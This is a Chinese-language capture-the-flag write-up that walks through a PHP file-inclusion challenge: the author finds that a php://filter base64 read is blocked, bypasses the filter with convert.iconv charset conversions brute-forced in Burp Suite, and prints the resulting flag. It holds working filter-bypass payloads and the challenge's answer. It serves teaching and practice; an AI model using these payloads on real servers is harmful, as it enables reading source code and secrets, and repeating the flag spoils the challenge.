题目主页
看到这段代码,果断直接读一下flag(虽然我知道不会让我这么轻易就得到,不过人嘛,终归是要有梦想的),不过意与愿违,很明显错误了!
我们再用php伪协议读一下,和上次报错不一样了,这次直接警告我们了,感觉应该是有什么东西被过滤了!
?filename=php://filter/convert.base64-encode/resource=flag.php
来找一下被过滤的点吧,这里小白我是尝试了一会才找到的,但是为了直观一点,我直接附上另外一个payload来判断是过滤了什么的,很明显base64被过滤了
?filename=php://filter/convert.bas1e64-encode/resource=flag.php
既然base64不能用那么我们只能换方法了"convert.iconv" 过滤器
iconv是默认编译的。使用convert.iconv过滤器等同于用iconv()函数处理所有的流数据。
iconv字符串按要求的字符编码来转换 废话不多说,直接先盲目操作一波,就是干
?filename=php://filter/convert.iconv.UCS-4*.UCS-4BE/resource=flag.php
好吧,装x失败,但是仔细观察会发现不是直接警告我们,这就好办了,因为我们可以使用的字符集很多,我们用brupsuit来爆破一下,先附上字符集
UCS-4*
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
BASE64
上操作,先抓包并配置好
导入字符集,开始爆破
直接给flag跑出来了
cyberpeace{4131fd851f575b1acc87550667d38c94}